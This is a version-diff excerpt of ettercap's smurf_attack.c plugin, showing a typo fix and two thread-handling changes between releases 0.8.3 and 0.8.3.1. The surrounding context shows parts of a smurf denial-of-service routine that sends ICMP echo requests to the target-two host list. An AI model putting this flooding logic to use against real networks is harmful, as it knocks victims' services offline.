smurf_attack.c (ettercap-0.8.3) | : | smurf_attack.c (ettercap-0.8.3.1) | ||
---|---|---|---|---|
skipping to change at line 49 | skipping to change at line 49 | |||
static int smurf_attack_init(void *dummy) | static int smurf_attack_init(void *dummy) | |||
{ | { | |||
struct ip_list *i; | struct ip_list *i; | |||
/* variable not used */ | /* variable not used */ | |||
(void) dummy; | (void) dummy; | |||
DEBUG_MSG("smurf_attack_init"); | DEBUG_MSG("smurf_attack_init"); | |||
if(EC_GBL_OPTIONS->unoffensive) { | if(EC_GBL_OPTIONS->unoffensive) { | |||
INSTANT_USER_MSG("smurf_attack: plugin doesnt work in unoffensive mode\n") ; | INSTANT_USER_MSG("smurf_attack: plugin doesn't work in unoffensive mode\n" ); | |||
return PLUGIN_FINISHED; | return PLUGIN_FINISHED; | |||
} | } | |||
if(EC_GBL_TARGET1->all_ip && EC_GBL_TARGET1->all_ip6) { | if(EC_GBL_TARGET1->all_ip && EC_GBL_TARGET1->all_ip6) { | |||
USER_MSG("Add at least one host to target one list.\n"); | USER_MSG("Add at least one host to target one list.\n"); | |||
return PLUGIN_FINISHED; | return PLUGIN_FINISHED; | |||
} | } | |||
if(EC_GBL_TARGET2->all_ip && EC_GBL_TARGET2->all_ip6 && LIST_EMPTY(&EC_GBL_HO STLIST)) { | if(EC_GBL_TARGET2->all_ip && EC_GBL_TARGET2->all_ip6 && LIST_EMPTY(&EC_GBL_HO STLIST)) { | |||
USER_MSG("Target two and global hostlist are empty.\n"); | USER_MSG("Target two and global hostlist are empty.\n"); | |||
skipping to change at line 88 | skipping to change at line 88 | |||
static int smurf_attack_fini(void *dummy) | static int smurf_attack_fini(void *dummy) | |||
{ | { | |||
pthread_t pid; | pthread_t pid; | |||
/* variable not used */ | /* variable not used */ | |||
(void) dummy; | (void) dummy; | |||
DEBUG_MSG("smurf_attack_fini"); | DEBUG_MSG("smurf_attack_fini"); | |||
while(!pthread_equal(EC_PTHREAD_NULL, pid = ec_thread_getpid("smurfer"))) { | while(!pthread_equal(ec_thread_getpid(NULL), pid = ec_thread_getpid("smurfer" ))) { | |||
ec_thread_destroy(pid); | ec_thread_destroy(pid); | |||
} | } | |||
return PLUGIN_FINISHED; | return PLUGIN_FINISHED; | |||
} | } | |||
static EC_THREAD_FUNC(smurfer) | static EC_THREAD_FUNC(smurfer) | |||
{ | { | |||
struct ip_addr *ip; | struct ip_addr *ip; | |||
struct ip_list *i, *itmp; | struct ip_list *i, *itmp; | |||
skipping to change at line 128 | skipping to change at line 128 | |||
case AF_INET6: | case AF_INET6: | |||
icmp_send = send_L3_icmp6_echo; | icmp_send = send_L3_icmp6_echo; | |||
ips = (struct ip_list_t *)&EC_GBL_TARGET2->ip6; | ips = (struct ip_list_t *)&EC_GBL_TARGET2->ip6; | |||
break; | break; | |||
#endif | #endif | |||
default: | default: | |||
/* This won't ever be reached | /* This won't ever be reached | |||
* if no other network layer protocol | * if no other network layer protocol | |||
* is added. | * is added. | |||
*/ | */ | |||
ec_thread_destroy(EC_PTHREAD_SELF); | ec_thread_destroy(ec_thread_getpid(NULL)); | |||
break; | break; | |||
} | } | |||
LOOP { | LOOP { | |||
CANCELLATION_POINT(); | CANCELLATION_POINT(); | |||
/* if target two list is not empty using it */ | /* if target two list is not empty using it */ | |||
if(!LIST_EMPTY(ips)) | if(!LIST_EMPTY(ips)) | |||
LIST_FOREACH_SAFE(i, ips, next, itmp) | LIST_FOREACH_SAFE(i, ips, next, itmp) | |||
icmp_send(ip, &i->ip); | icmp_send(ip, &i->ip); | |||
End of changes. 3 change blocks. | ||||
3 lines changed or deleted | 3 lines changed or added |